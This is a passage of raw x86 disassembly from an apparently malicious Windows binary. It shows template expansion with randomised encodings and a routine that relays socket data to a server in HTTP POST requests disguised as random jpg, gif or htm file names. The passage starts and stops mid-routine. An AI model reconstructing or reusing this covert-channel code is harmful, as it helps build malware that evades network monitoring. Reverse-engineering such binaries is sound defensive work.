loc_407A54: ; CODE XREF: sub_4074FB+54Dj cmp cl, 3Ch jnz short loc_407A62 mov [ebp+arg_4], 1 jmp short loc_407A6B ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_4074FB+55Cj cmp cl, 3Eh jnz short loc_407A6B and [ebp+arg_4], 0 loc_407A6B: ; CODE XREF: sub_4074FB+557j ; sub_4074FB+565j ... cmp cl, 0Dh jnz short loc_407A77 cmp byte ptr [esi+edi+1], 0Ah jz short loc_407A7F loc_407A77: ; CODE XREF: sub_4074FB+573j mov ecx, [ebp+arg_8] dec ecx cmp esi, ecx jnz short loc_407A97 loc_407A7F: ; CODE XREF: sub_4074FB+57Aj lea ecx, [eax+1] push ecx mov ecx, esi sub ecx, eax lea eax, [ecx+edi+1] push eax lea ecx, [ebp+var_4] call sub_40DBA2 inc esi jmp short loc_407AD5 ; --------------------------------------------------------------------------- loc_407A97: ; CODE XREF: sub_4074FB+582j cmp eax, 49h jl short loc_407ADA cmp ebx, 0FFFFFFFFh jle short loc_407ADA mov ecx, ebx sub ecx, esi lea ecx, [ecx+eax-1] sub esi, eax push ecx lea eax, [esi+edi+1] lea ecx, [ebp+var_4] push eax call sub_40DBA2 cmp [ebp+arg_18], 0 lea ecx, [ebp+var_4] jz short loc_407AC9 push offset asc_41BF00 ; "\r\n " jmp short loc_407ACE ; --------------------------------------------------------------------------- loc_407AC9: ; CODE XREF: sub_4074FB+5C5j push offset asc_41BEFC ; "\r\n" loc_407ACE: ; CODE XREF: sub_4074FB+5CCj call sub_401AA0 mov esi, ebx loc_407AD5: ; CODE XREF: sub_4074FB+59Aj xor eax, eax or ebx, 0FFFFFFFFh loc_407ADA: ; CODE XREF: sub_4074FB+59Fj ; sub_4074FB+5A4j inc esi inc eax cmp esi, [ebp+arg_8] jl loc_407A42 jmp loc_407D5F ; --------------------------------------------------------------------------- loc_407AEA: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo lea edi, [eax+1] ; jumptable 00407522 case 74 push edi call sub_40CD83 mov [ebp+arg_4], eax xor eax, eax xor esi, esi inc eax or ebx, 0FFFFFFFFh cmp [ebp+arg_4], esi pop ecx jle loc_407D5F loc_407B08: ; CODE XREF: sub_4074FB+696j mov cl, [esi+edi] cmp cl, 20h jnz short loc_407B12 mov ebx, esi loc_407B12: ; CODE XREF: sub_4074FB+613j cmp cl, 0Dh jnz short loc_407B1E cmp byte ptr [esi+edi+1], 0Ah jz short loc_407B26 loc_407B1E: ; CODE XREF: sub_4074FB+61Aj mov ecx, [ebp+arg_4] dec ecx cmp esi, ecx jnz short loc_407B3E loc_407B26: ; CODE XREF: sub_4074FB+621j lea ecx, [eax+1] push ecx mov ecx, esi sub ecx, eax lea eax, [ecx+edi+1] push eax lea ecx, [ebp+var_4] call sub_40DBA2 inc esi jmp short loc_407B87 ; --------------------------------------------------------------------------- loc_407B3E: ; CODE XREF: sub_4074FB+629j cmp eax, 55h jnz short loc_407B8C cmp ebx, 0FFFFFFFFh lea ecx, [ebp+var_4] jle short loc_407B6E mov eax, ebx sub eax, esi add eax, 54h push eax lea eax, [esi+edi-54h] push eax call sub_40DBA2 push offset a20 ; "=20\r\n" lea ecx, [ebp+var_4] call sub_401AA0 mov esi, ebx jmp short loc_407B87 ; --------------------------------------------------------------------------- loc_407B6E: ; CODE XREF: sub_4074FB+64Ej push 55h lea eax, [esi+edi-54h] push eax call sub_40DBA2 push offset asc_41BF04 ; "=\r\n" lea ecx, [ebp+var_4] call sub_401AA0 loc_407B87: ; CODE XREF: sub_4074FB+641j ; sub_4074FB+671j xor eax, eax or ebx, 0FFFFFFFFh loc_407B8C: ; CODE XREF: sub_4074FB+646j inc esi inc eax cmp esi, [ebp+arg_4] jl loc_407B08 jmp loc_407D5F ; --------------------------------------------------------------------------- loc_407B9C: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo push 0 ; jumptable 00407522 case 78 push dword ptr [edi+4] lea ecx, [ebp+var_4] call sub_40DB5E push 2Eh push [ebp+var_4] call sub_40CECD inc eax push 2Eh push eax call sub_40CECD add esp, 10h loc_407BBF: ; CODE XREF: sub_4074FB+834j mov byte ptr [eax], 0 jmp loc_407D5F ; --------------------------------------------------------------------------- loc_407BC7: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo push 0 ; jumptable 00407522 case 75 push dword ptr [edi+4] jmp loc_407D57 ; --------------------------------------------------------------------------- loc_407BD1: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo push eax ; jumptable 00407522 case 90 xor esi, esi call sub_40CD83 cmp eax, 1 pop ecx jbe short loc_407BEB mov eax, [ebx] inc eax push eax call sub_40CE59 pop ecx mov esi, eax loc_407BEB: ; CODE XREF: sub_4074FB+6E2j push 0Ch lea ecx, [ebp+var_4] call sub_40DADA push 0 call sub_40CFAE add eax, esi push eax lea eax, [ebp+var_4] push offset aLx ; "%lX" push eax call sub_40DB15 add esp, 10h jmp loc_407D5F ; --------------------------------------------------------------------------- loc_407C15: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo cmp [ebp+arg_4], 0 ; jumptable 00407522 case 69 jz short loc_407C28 push 0 push [ebp+arg_4] lea ecx, [ebp+var_4] call sub_40DB5E loc_407C28: ; CODE XREF: sub_4074FB+71Ej mov eax, [ebp+var_4] xor ecx, ecx jmp short loc_407C38 ; --------------------------------------------------------------------------- loc_407C2F: ; CODE XREF: sub_4074FB+740j add byte ptr [eax], 3 mov eax, [ebp+var_4] inc ecx add eax, ecx loc_407C38: ; CODE XREF: sub_4074FB+732j cmp byte ptr [eax], 0 jnz short loc_407C2F jmp loc_407D5F ; --------------------------------------------------------------------------- loc_407C42: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo push 4 ; jumptable 00407522 case 73 lea ecx, [ebp+var_4] call sub_40DADA call sub_40CF34 imul eax, 0D8h cdq mov ecx, 7FFFh idiv ecx add eax, 18h jmp loc_4077A3 ; --------------------------------------------------------------------------- loc_407C67: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo cmp dword ptr [edi+8], 0 ; jumptable 00407522 case 70 jz loc_407D5F mov edi, [edi+8] mov edx, [edi] lea ecx, [ebp+var_4] push ecx inc eax push eax mov ecx, edi call dword ptr [edx] jmp loc_407D5F ; --------------------------------------------------------------------------- loc_407C85: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo xor esi, esi ; jumptable 00407522 case 85 inc esi cmp byte ptr [eax+1], 0 jz loc_407D5F mov edi, ebx loc_407C94: ; CODE XREF: sub_4074FB+7F7j mov al, [eax+esi] cmp al, 2Eh jz short loc_407CDC cmp al, 2Fh jz short loc_407CDC cmp al, 3Fh jz short loc_407CDC call sub_40CF34 and eax, 80000001h jns short loc_407CB4 dec eax or eax, 0FFFFFFFEh inc eax loc_407CB4: ; CODE XREF: sub_4074FB+7B2j jz short loc_407CDC mov eax, [edi] movsx eax, byte ptr [esi+eax] push eax lea eax, [ebp+var_2C] push offset a02x ; "%%%02x" push eax call sub_40CE18 add esp, 0Ch lea eax, [ebp+var_2C] push eax lea ecx, [ebp+var_4] call sub_401AA0 jmp short loc_407CEB ; --------------------------------------------------------------------------- loc_407CDC: ; CODE XREF: sub_4074FB+79Ej ; sub_4074FB+7A2j ... mov eax, [edi] movzx eax, byte ptr [esi+eax] push eax lea ecx, [ebp+var_4] call sub_40707B loc_407CEB: ; CODE XREF: sub_4074FB+7DFj mov eax, [edi] inc esi cmp byte ptr [eax+esi], 0 jnz short loc_407C94 jmp short loc_407D5F ; --------------------------------------------------------------------------- loc_407CF6: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo inc eax ; jumptable 00407522 case 83 jz short loc_407D04 push 0 push eax lea ecx, [ebp+var_4] call sub_40DB5E loc_407D04: ; CODE XREF: sub_4074FB+7FCj push [ebp+var_4] mov ecx, edi call sub_407288 jmp short loc_407D5F ; --------------------------------------------------------------------------- loc_407D10: ; CODE XREF: sub_4074FB+27j ; DATA XREF: .text:off_407D7Bo cmp [ebp+arg_4], 0 ; jumptable 00407522 case 88 jz short loc_407D23 push 0 push [ebp+arg_4] lea ecx, [ebp+var_4] call sub_40DB5E loc_407D23: ; CODE XREF: sub_4074FB+819j push 40h push [ebp+var_4] call sub_40CECD pop ecx pop ecx jmp loc_407BBF ; --------------------------------------------------------------------------- loc_407D34: ; CODE XREF: sub_4074FB+21j ; sub_4074FB+27j ; DATA XREF: ... push ecx ; default ; jumptable 00407522 case 84 call sub_40CE2C test eax, eax pop ecx jz short loc_407D5F mov eax, ebx push dword ptr [eax] call sub_40CE59 imul eax, 12Ch add eax, [ebp+arg_4] pop ecx loc_407D52: ; CODE XREF: sub_4074FB+1B6j ; sub_4074FB+1E7j jz short loc_407D5F push 0 push eax loc_407D57: ; CODE XREF: sub_4074FB+43Aj ; sub_4074FB+6D1j lea ecx, [ebp+var_4] call sub_40DB5E loc_407D5F: ; CODE XREF: sub_4074FB+106j ; sub_4074FB+12Dj ... mov ecx, [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_40DC39 lea ecx, [ebp+var_4] call sub_40DB59 pop edi pop esi pop ebx leave retn 1Ch sub_4074FB endp ; --------------------------------------------------------------------------- db 90h off_407D7B dd offset loc_407931 ; DATA XREF: sub_4074FB+27r dd offset loc_4078D3 ; jump table for switch statement dd offset loc_407696 dd offset loc_4076E7 dd offset loc_407C15 dd offset loc_407C67 dd offset loc_407A1E dd offset loc_4076B6 dd offset loc_407C42 dd offset loc_407AEA dd offset loc_407BC7 dd offset loc_4077BA dd offset loc_407606 dd offset loc_407B9C dd offset loc_407839 dd offset loc_40762D dd offset loc_40793A dd offset loc_407737 dd offset loc_407CF6 dd offset loc_407D34 dd offset loc_407C85 dd offset loc_4076D2 dd offset loc_407716 dd offset loc_407D10 dd offset loc_407529 dd offset loc_407BD1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407DE3 proc near ; CODE XREF: sub_407DE3+90p ; sub_407F86+87p var_FB8 = dword ptr -0FB8h var_FB4 = dword ptr -0FB4h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 0FB8h push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+var_FB8] push eax push dword ptr [esi] mov [ebp+var_10], ecx call sub_4073D3 test eax, eax mov edi, [ebp+arg_C] mov [ebp+var_8], eax jz loc_407F5E push ebx loc_407E11: ; CODE XREF: sub_407DE3+174j lea ecx, [ebp+arg_C] call sub_40DB48 and [ebp+var_C], 0 cmp [ebp+var_8], 0 jle loc_407F39 loc_407E27: ; CODE XREF: sub_407DE3+150j lea ecx, [ebp+arg_0] call sub_40DB48 mov eax, [ebp+var_C] shl eax, 3 mov ecx, [ebp+eax+var_FB4] mov eax, [ebp+eax+var_FB8] push ecx mov [ebp+var_14], ecx mov ecx, [esi] add ecx, eax push ecx lea ecx, [ebp+arg_0] mov [ebp+var_4], eax call sub_40DB5E push [ebp+arg_1C] mov ecx, [ebp+var_10] push [ebp+arg_18] inc dword ptr [edi] push [ebp+arg_14] lea eax, [ebp+arg_0] push [ebp+arg_10] push edi push [ebp+arg_8] push [ebp+arg_4] push eax call sub_407DE3 dec dword ptr [edi] xor ebx, ebx cmp [ebp+arg_0], ebx jz short loc_407E8C push [ebp+arg_0] call sub_40CD83 pop ecx mov ebx, eax loc_407E8C: ; CODE XREF: sub_407DE3+9Cj mov eax, [ebp+var_4] lea ecx, [eax-2] mov [ebp+var_4], ecx mov ecx, [ebp+var_14] add eax, ecx mov ecx, [esi] mov [ebp+var_18], eax lea eax, [eax+ecx+2] push eax call sub_40CD83 add eax, [ebp+var_4] pop ecx lea eax, [eax+ebx+1] push eax lea ecx, [ebp+arg_C] call sub_40DADA push [ebp+var_4] push dword ptr [esi] push [ebp+arg_C] call sub_40CD9D mov eax, [ebp+arg_C] mov ecx, [ebp+var_4] push ebx push [ebp+arg_0] add ecx, eax push ecx call sub_40CD9D mov eax, [esi] mov ecx, [ebp+var_18] lea eax, [ecx+eax+2] push eax mov eax, [ebp+var_4] add eax, ebx add eax, [ebp+arg_C] push eax call sub_40CD8E mov eax, [ebp+var_8] mov ecx, [ebp+var_C] add esp, 20h dec eax cmp ecx, eax jge short loc_407F17 sub ebx, [ebp+var_14] lea eax, [ecx+1] sub ebx, 4 jmp short loc_407F12 ; --------------------------------------------------------------------------- loc_407F0A: ; CODE XREF: sub_407DE3+132j add [ebp+eax*8+var_FB8], ebx inc eax loc_407F12: ; CODE XREF: sub_407DE3+125j cmp eax, [ebp+var_8] jl short loc_407F0A loc_407F17: ; CODE XREF: sub_407DE3+11Aj lea eax, [ebp+arg_C] push eax mov ecx, esi call sub_40DC39 lea ecx, [ebp+arg_0] call sub_40DB59 inc [ebp+var_C] mov eax, [ebp+var_C] cmp eax, [ebp+var_8] jl loc_407E27 loc_407F39: ; CODE XREF: sub_407DE3+3Ej lea ecx, [ebp+arg_C] call sub_40DB59 mov ecx, [ebp+var_10] lea eax, [ebp+var_FB8] push eax push dword ptr [esi] call sub_4073D3 test eax, eax mov [ebp+var_8], eax jnz loc_407E11 pop ebx loc_407F5E: ; CODE XREF: sub_407DE3+27j cmp dword ptr [edi], 0 jz short loc_407F7E push [ebp+arg_1C] mov ecx, [ebp+var_10] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4074FB loc_407F7E: ; CODE XREF: sub_407DE3+17Ej mov eax, [esi] pop edi pop esi leave retn 20h sub_407DE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F86 proc near ; CODE XREF: sub_402624+1EDp var_60 = dword ptr -60h var_38 = byte ptr -38h var_28 = byte ptr -28h var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 60h push ebx push esi push edi push 0Ah mov ebx, ecx xor eax, eax and [ebp+var_8], eax pop ecx lea edi, [ebp+var_60] rep stosd lea eax, [ebp+var_28] push eax call ds:dword_418134 lea eax, [ebp+var_38] push eax call ds:dword_418130 mov esi, ds:dword_41812C lea eax, [ebp+var_18] push eax lea eax, [ebp+var_28] push eax call esi lea eax, [ebp+var_10] push eax lea eax, [ebp+var_38] push eax call esi call ds:dword_4180CC push eax call sub_40CF2A pop ecx call sub_40CF34 imul eax, 1Eh cdq mov ecx, 7FFFh idiv ecx and [ebp+var_4], 0 lea ecx, [ebp+var_4] push ecx mov ecx, ebx add eax, 5 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_60] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_407DE3 mov edi, eax xor esi, esi loc_408016: ; CODE XREF: sub_407F86+A3j mov eax, [ebp+esi*4+var_60] test eax, eax jz short loc_408025 push eax call sub_40CCC5 pop ecx loc_408025: ; CODE XREF: sub_407F86+96j inc esi cmp esi, 0Ah jl short loc_408016 mov eax, edi pop edi pop esi pop ebx leave retn 8 sub_407F86 endp ; =============== S U B R O U T I N E ======================================= sub_408034 proc near ; CODE XREF: sub_402BAC+15p ; sub_402C05+16p ... arg_0 = dword ptr 4 push esi mov esi, ecx mov eax, [esi] test eax, eax push edi mov edi, [esp+8+arg_0] jz short loc_40804D cmp edi, eax jz short loc_40804D push eax call sub_40D0B6 pop ecx loc_40804D: ; CODE XREF: sub_408034+Cj ; sub_408034+10j mov [esi], edi mov eax, edi pop edi pop esi retn 4 sub_408034 endp ; =============== S U B R O U T I N E ======================================= sub_408056 proc near ; CODE XREF: sub_408361+1F8p push esi mov esi, ecx push dword ptr [esi+102Ch] call ds:dword_41817C lea ecx, [esi+1030h] call sub_40DB59 lea ecx, [esi+20h] call sub_401205 push offset dword_421D04 call ds:dword_4180E8 pop esi retn sub_408056 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408085 proc near ; CODE XREF: sub_40856C+BFp ; sub_41651F+C5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi push 8 mov esi, ecx call sub_40D0BB pop ecx mov ecx, [ebp+arg_0] mov [eax+4], ecx lea ecx, [ebp+var_4] push ecx xor ecx, ecx push ecx push eax push offset sub_4163B7 push ecx push ecx mov [eax], esi call ds:dword_4180BC push eax call ds:dword_4180A4 mov eax, [ebp+var_4] pop esi leave retn 4 sub_408085 endp ; =============== S U B R O U T I N E ======================================= sub_4080C0 proc near ; CODE XREF: sub_40856C+29p arg_0 = byte ptr 4 push ebx push esi push edi mov ebx, ecx and dword ptr [ebx+4], 0 lea edi, [ebx+10h] lea esi, [esp+0Ch+arg_0] movsd movsd movsd push offset dword_421D04 movsd mov [ebx+8], ebx call ds:dword_4180E4 pop edi pop esi mov eax, ebx pop ebx retn 10h sub_4080C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4080EA proc near ; CODE XREF: sub_408361+169p var_1070 = byte ptr -1070h var_6C = byte ptr -6Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1070h call sub_4011B0 push ebx push esi push edi xor ebx, ebx push 8 lea eax, [ebp+var_24] mov edi, ecx push ebx push eax mov [ebp+var_1C], edi mov [ebp+var_1], bl mov [ebp+var_30], offset aJpg ; "jpg" mov [ebp+var_2C], offset aGif ; "gif" mov [ebp+var_28], offset aHtm ; "htm" call sub_40CCD9 add esp, 0Ch xor esi, esi loc_40812A: ; CODE XREF: sub_4080EA+56j call sub_40CF34 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [ebp+esi+var_24], dl inc esi cmp esi, 3 jl short loc_40812A lea eax, [ebp+var_24] push offset a__0 ; "." push eax call sub_40CDD6 call sub_40CF34 push 3 pop ecx xor edx, edx div ecx lea eax, [ebp+var_24] push [ebp+edx*4+var_30] push eax call sub_40CDD6 add esp, 10h push ebx push 80400100h push ebx push ebx push ebx lea eax, [ebp+var_24] push eax push offset aPost ; "POST" push dword ptr [edi+102Ch] call ds:dword_418178 cmp eax, ebx mov [ebp+var_8], eax jz loc_408357 push 0Ch pop ecx push [ebp+arg_4] mov esi, offset aContentTypeApp ; "Content-Type: application/x-www-form-ur"... push [ebp+arg_0] lea edi, [ebp+var_6C] rep movsd lea eax, [ebp+var_6C] push eax movsw call sub_40CD83 pop ecx push eax lea eax, [ebp+var_6C] push eax push [ebp+var_8] call ds:dword_418164 test eax, eax jz loc_40834E mov esi, ds:dword_418170 mov [ebp+arg_4], ebx mov [ebp+var_10], ebx mov [ebp+var_18], ebx mov [ebp+var_14], ebx jmp loc_40827B ; --------------------------------------------------------------------------- loc_4081E1: ; CODE XREF: sub_4080EA+19Ej cmp [ebp+arg_4], ebx jbe loc_40828E lea ecx, [ebp+arg_0] call sub_40DB48 mov eax, [ebp+arg_4] inc eax push eax lea ecx, [ebp+arg_0] call sub_40DADA lea eax, [ebp+var_34] push eax push [ebp+arg_4] push [ebp+arg_0] push [ebp+var_8] call ds:dword_41816C test eax, eax jz short loc_40822F mov eax, [ebp+var_34] add [ebp+var_10], eax lea eax, [ebp+arg_0] push eax lea ecx, [ebp+var_18] call sub_403E90 mov ecx, eax call sub_40DC39 loc_40822F: ; CODE XREF: sub_4080EA+12Aj mov edi, [ebp+var_1C] push 1004h lea eax, [edi+24h] push eax lea eax, [ebp+var_1070] push eax call sub_40CCF7 add esp, 0Ch lea eax, [ebp+var_2C] push eax push ebx push ebx lea eax, [ebp+var_1070] push eax mov eax, [edi+1028h] inc eax push eax mov [ebp+var_2C], ebx mov [ebp+var_28], 0Ah call ds:dword_4181A4 test eax, eax lea ecx, [ebp+arg_0] jnz short loc_4082DD call sub_40DB59 loc_40827B: ; CODE XREF: sub_4080EA+F2j push ebx push ebx lea eax, [ebp+arg_4] push eax push [ebp+var_8] call esi test eax, eax jnz loc_4081E1 loc_40828E: ; CODE XREF: sub_4080EA+FAj mov eax, [ebp+var_10] inc eax push eax mov [ebp+var_C], eax call sub_40C9F2 cmp [ebp+var_14], ebx mov esi, eax pop ecx mov [esi], bl jbe short loc_4082C7 mov eax, [ebp+var_14] mov edi, [ebp+var_18] mov [ebp+arg_0], eax loc_4082AE: ; CODE XREF: sub_4080EA+1DBj push dword ptr [edi] push esi call sub_40CDD6 pop ecx pop ecx mov ecx, edi call sub_40DB00 add edi, 4 dec [ebp+arg_0] jnz short loc_4082AE loc_4082C7: ; CODE XREF: sub_4080EA+1B9j mov cl, 1 xor eax, eax loc_4082CB: ; CODE XREF: sub_4080EA+1EFj cmp eax, [ebp+var_10] jnb short loc_4082E6 cmp [eax+esi], bl jz short loc_4082E4 inc eax cmp eax, 4 jb short loc_4082CB jmp short loc_4082E6 ; --------------------------------------------------------------------------- loc_4082DD: ; CODE XREF: sub_4080EA+18Aj call sub_40DB59 jmp short loc_408346 ; --------------------------------------------------------------------------- loc_4082E4: ; CODE XREF: sub_4080EA+1E9j xor cl, cl loc_4082E6: ; CODE XREF: sub_4080EA+1E4j ; sub_4080EA+1F1j cmp cl, bl mov edi, esi jz short loc_40830D push [ebp+var_C] call sub_40C9F2 mov edi, eax lea eax, [ebp+var_C] push eax push edi push [ebp+var_10] push esi call sub_40C4D1 push esi call sub_40CA06 add esp, 18h loc_40830D: ; CODE XREF: sub_4080EA+200j mov esi, [ebp+var_1C] mov ecx, [esi+20h] mov eax, [ecx] push ebx push 4 lea edx, [ebp+var_C] push edx call dword ptr [eax+8] mov ecx, [esi+20h] lea edx, [ebp+var_38] push edx push [ebp+var_C] mov [ebp+var_38], 1Eh mov eax, [ecx] push edi call dword ptr [eax+8] cmp eax, [ebp+var_C] jnz short loc_40833F mov [ebp+var_1], 1 loc_40833F: ; CODE XREF: sub_4080EA+24Fj push edi call sub_40CA06 pop ecx loc_408346: ; CODE XREF: sub_4080EA+1F8j lea ecx, [ebp+var_18] call sub_401F85 loc_40834E: ; CODE XREF: sub_4080EA+DAj push [ebp+var_8] call ds:dword_41817C loc_408357: ; CODE XREF: sub_4080EA+A5j mov al, [ebp+var_1] pop edi pop esi pop ebx leave retn 8 sub_4080EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408361 proc near ; DATA XREF: sub_40856C+Bo var_1024 = byte ptr -1024h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 1024h call sub_4011B0 push ebx push esi mov ebx, ecx mov ecx, [ebx+20h] push edi lea edi, [ebx+24h] and dword ptr [edi], 0 push edi call sub_40D686 mov ecx, [ebx+20h] lea esi, [ebx+1028h] and dword ptr [esi], 0 push esi call sub_40D6D7 push 1004h lea eax, [ebp+var_1024] push edi push eax call sub_40CCF7 add esp, 0Ch lea eax, [ebp+var_20] push eax xor edi, edi push edi lea eax, [ebp+var_1024] push edi push eax mov eax, [esi] jmp loc_40851A ; --------------------------------------------------------------------------- loc_4083BF: ; CODE XREF: sub_408361+1CDj mov ecx, [ebx+20h] lea eax, [ebp+var_1024] push eax call sub_40D6C2 test al, al jz loc_4084ED mov ecx, [ebx+20h] lea edx, [ebp+var_18] push edx push 4 lea edx, [ebp+var_C] mov [ebp+var_18], 1Eh mov eax, [ecx] push edx call dword ptr [eax+4] cmp eax, 4 jnz loc_408557 mov eax, [ebp+var_C] lea ecx, [eax-1] cmp ecx, 7CFFEh ja loc_408557 push eax call sub_40D0BB pop ecx mov ecx, [ebx+20h] lea edx, [ebp+var_18] push edx push [ebp+var_C] mov esi, eax mov eax, [ecx] push esi mov [ebp+var_4], esi call dword ptr [eax+4] cmp eax, [ebp+var_C] jnz loc_408536 mov esi, offset aA ; "a=" lea edi, [ebp+var_14] movsw lea eax, [ebp+var_14] push eax movsb call sub_40CD83 mov [ebp+var_8], eax mov eax, [ebx+1030h] test eax, eax pop ecx jnz short loc_408455 xor edi, edi jmp short loc_40845E ; --------------------------------------------------------------------------- loc_408455: ; CODE XREF: sub_408361+EEj push eax call sub_40CD83 pop ecx mov edi, eax loc_40845E: ; CODE XREF: sub_408361+F2j push 0 push [ebp+var_C] call sub_40C2F0 mov [ebp+var_10], eax add eax, edi add eax, [ebp+var_8] push eax call sub_40D0BB push [ebp+var_8] mov esi, eax lea eax, [ebp+var_14] push eax push esi call sub_40CCF7 push 3 lea eax, [ebp+var_10] push eax mov eax, [ebp+var_8] add eax, esi push eax push [ebp+var_C] push [ebp+var_4] call sub_40C344 mov eax, [ebp+var_10] push edi push dword ptr [ebx+1030h] add eax, esi add eax, [ebp+var_8] push eax call sub_40CCF7 add esp, 38h push 0 lea ecx, [ebp+var_4] call sub_408034 mov eax, [ebp+var_10] add eax, edi add eax, [ebp+var_8] mov ecx, ebx push eax push esi call sub_4080EA test al, al jz short loc_40853D test esi, esi jz short loc_4084DE push esi call sub_40D0B6 pop ecx loc_4084DE: ; CODE XREF: sub_408361+174j cmp [ebp+var_4], 0 jz short loc_4084ED push [ebp+var_4] call sub_40D0B6 pop ecx loc_4084ED: ; CODE XREF: sub_408361+6Fj ; sub_408361+181j push 1004h lea eax, [ebx+24h] push eax lea eax, [ebp+var_1024] push eax call sub_40CCF7 add esp, 0Ch lea eax, [ebp+var_20] push eax xor edi, edi push edi lea eax, [ebp+var_1024] push edi push eax mov eax, [ebx+1028h] loc_40851A: ; CODE XREF: sub_408361+59j inc eax push eax mov [ebp+var_20], 4B0h mov [ebp+var_1C], edi call ds:dword_4181A4 test eax, eax jg loc_4083BF jmp short loc_408557 ; --------------------------------------------------------------------------- loc_408536: ; CODE XREF: sub_408361+C8j cmp esi, edi jz short loc_408557 push esi jmp short loc_408551 ; --------------------------------------------------------------------------- loc_40853D: ; CODE XREF: sub_408361+170j test esi, esi jz short loc_408548 push esi call sub_40D0B6 pop ecx loc_408548: ; CODE XREF: sub_408361+1DEj cmp [ebp+var_4], 0 jz short loc_408557 push [ebp+var_4] loc_408551: ; CODE XREF: sub_408361+1DAj call sub_40D0B6 pop ecx loc_408557: ; CODE XREF: sub_408361+91j ; sub_408361+A3j ... mov ecx, ebx call sub_408056 push ebx call sub_40D0B6 pop ecx pop edi pop esi pop ebx leave retn 4 sub_408361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40856C proc near ; CODE XREF: sub_40694B+183p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi push edi xor eax, eax mov [ebp+var_20], offset sub_408361 mov [ebp+var_1C], eax mov [ebp+var_18], eax mov [ebp+var_14], eax sub esp, 10h mov edi, esp lea esi, [ebp+var_20] movsd movsd movsd mov ebx, ecx movsd call sub_4080C0 mov edi, [ebp+arg_0] mov eax, [ebp+arg_4] lea esi, [ebx+1030h] mov [ebx+20h], edi mov ecx, esi mov [ebx+102Ch], eax call sub_40DB48 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_20] push eax mov ecx, edi mov word ptr [ebp+var_20], 2 mov [ebp+var_C], 10h call sub_40D97B mov eax, [ebp+var_1C] xor edi, edi push edi push 4 mov [ebp+var_10], eax call sub_40C2F0 pop ecx pop ecx lea ecx, [ebp+var_4] mov [ebp+var_8], eax call sub_40DB48 push [ebp+var_8] lea ecx, [ebp+var_4] call sub_40DADA push 3 lea eax, [ebp+var_8] push eax push [ebp+var_4] lea eax, [ebp+var_10] push 4 push eax call sub_40C344 add esp, 14h push edi push offset aB ; "&b=" mov ecx, esi call sub_40DB5E push [ebp+var_4] mov ecx, esi call sub_401AA0 push edi mov ecx, ebx call sub_408085 lea ecx, [ebp+var_4] call sub_40DB59 pop edi pop esi mov eax, ebx pop ebx leave retn 8 sub_40856C endp ; =============== S U B R O U T I N E ======================================= sub_408641 proc near ; CODE XREF: sub_408963+68p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, ecx jmp short loc_408682 ; --------------------------------------------------------------------------- loc_40864B: ; CODE XREF: sub_408641+46j push 1 push 0 push dword ptr [edi+2Ch] call ds:dword_4180B0 test eax, eax jz short loc_408689 mov al, [esi] cmp al, 30h jl short loc_408666 cmp al, 39h jle short loc_408682 loc_408666: ; CODE XREF: sub_408641+1Fj cmp al, 41h jl short loc_40866E cmp al, 5Ah jle short loc_408682 loc_40866E: ; CODE XREF: sub_408641+27j cmp al, 61h jl short loc_408676 cmp al, 7Ah jle short loc_408682 loc_408676: ; CODE XREF: sub_408641+2Fj cmp al, 2Eh jz short loc_408682 cmp al, 5Fh 